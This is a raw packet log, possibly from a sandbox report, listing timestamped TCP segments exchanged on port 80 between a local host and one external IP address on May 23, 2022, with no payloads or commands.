May 23, 2022 09:00:55.593468904 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.593487978 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.593542099 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.596041918 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.604734898 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.604849100 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.610873938 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.610946894 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.610971928 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.611071110 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.611141920 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.635934114 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.636071920 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.636091948 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.636109114 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.636174917 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.636214972 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.645003080 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.645107985 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.845272064 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.845331907 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.845375061 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.845458031 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.845519066 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.854549885 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.854599953 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.854641914 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.854743004 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.854764938 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.875308037 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.875353098 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.875395060 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.875435114 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.875457048 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.875492096 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.875495911 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.885711908 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.885763884 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.885803938 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.885837078 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.885865927 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.905863047 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.905963898 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.915385962 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.915431976 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.915465117 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.915473938 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.915492058 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.915524960 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.933046103 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.933128119 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.933170080 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.933212042 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.933264971 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.933307886 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.948302984 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.948348999 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.948390961 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.948441029 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.948493958 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.964062929 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.964097977 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.964118958 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.964140892 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.964169979 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.964204073 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.979552031 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.979577065 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.979595900 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.979618073 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.979643106 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:55.996181011 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:55.996268988 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.115056038 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.115118980 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.115178108 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.120807886 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.120856047 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.120872021 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.120898962 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.120912075 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.120942116 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.136070013 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.136133909 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.136177063 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.136217117 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.136229038 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.136261940 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.154740095 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.154777050 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.154798985 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.154937029 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.166989088 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.167021990 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.167113066 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.167114973 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.167139053 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.167169094 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.167185068 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.183801889 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.183830976 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.183855057 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.183908939 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.183937073 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.198281050 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.198458910 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.201761007 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.201786995 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.201808929 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.201828003 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.201853037 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.201868057 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.217120886 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.217190027 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.217202902 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.217225075 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.217248917 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.217261076 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.217269897 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.217305899 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.232873917 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.232934952 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.232979059 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.232983112 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.233042002 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.233045101 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.248246908 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.248320103 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.248364925 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.248364925 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.248420000 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.248450994 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.260951996 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.261090994 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.264714003 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.264775991 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.264833927 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.264899969 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.264965057 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.292311907 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.292399883 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.292447090 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.292501926 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.292519093 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.292558908 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.292562962 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.292571068 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.292606115 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.292630911 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.292649031 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.323437929 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.323502064 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.323533058 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.323544979 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.323559046 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.323589087 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.323589087 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.323632956 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.339061975 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.339126110 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.339185953 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.340619087 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.383759975 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.383888960 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.385703087 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.385799885 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.389307976 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.389374018 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.389384031 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.389431000 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.401477098 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.401583910 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.404817104 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.404865026 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.404906988 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.404937983 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.404959917 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.417210102 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.417289972 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.423510075 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.423559904 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.423619986 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.424253941 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.435596943 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.435658932 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.435693979 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.435726881 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.435739994 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.435780048 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.435781956 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.452406883 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.452452898 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.452461004 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.452471972 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.452554941 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.456089973 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.470200062 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.470223904 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.470241070 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.470258951 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.470316887 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.470347881 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.486068010 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.486103058 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.486126900 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.486152887 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.486196995 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.488372087 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.501517057 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.501564026 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.501601934 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.501602888 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.501625061 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.501653910 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.526529074 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.526597023 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.526662111 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.526684046 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.526767015 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.526773930 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.529692888 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.529772043 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.533205986 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.533298969 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.542191982 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.542222977 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.542316914 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.561484098 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.561520100 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.561543941 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.561660051 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.573436022 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.573472977 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.573554039 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.573590040 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.592443943 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.592511892 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.592540026 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.592555046 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.592588902 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.592606068 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.604554892 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.604720116 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.607705116 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.607799053 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.608993053 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.609101057 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.652539968 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.652657032 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.654321909 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.654434919 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.657742023 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.657769918 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.657825947 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.658404112 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.670032978 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.670114040 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.673386097 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.673418999 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.673497915 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.682670116 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.682756901 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.685966015 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.686074018 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.692184925 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.692405939 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.692445993 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.692466021 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.704179049 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.704220057 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.704246044 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.704297066 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.705051899 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.714031935 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.714138031 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.721550941 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.721582890 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.721633911 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.721663952 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.729743958 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.729778051 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.729834080 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.729865074 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.739662886 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.739698887 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.739753962 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.739787102 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.745182991 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.745220900 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.745265007 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.745301008 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.756014109 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.756118059 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.760718107 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.760749102 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.760771990 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.760797977 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.760823965 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.788299084 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.788336039 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.788356066 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.788378000 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.788451910 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.788485050 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.792037010 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.792067051 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.792174101 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.823548079 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.823579073 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.823601007 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.823668003 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.823724031 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.838999033 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.839041948 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.839067936 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.839173079 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.839234114 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.854549885 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.854583979 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.854608059 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.854645967 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.854667902 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.854686975 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.854728937 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.854732990 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.854756117 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.873488903 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.873512030 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.873528004 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.873553991 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.873585939 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.885757923 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.885795116 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.885823965 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.885834932 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.885852098 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.885859013 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.885876894 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.885899067 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.917124033 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.917155027 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.917176962 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.917198896 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.917220116 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.917222977 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.917242050 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 09:00:56.917248964 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 09:00:56.917264938 CEST	80	49178	138.219.41.210	192.168.2.22
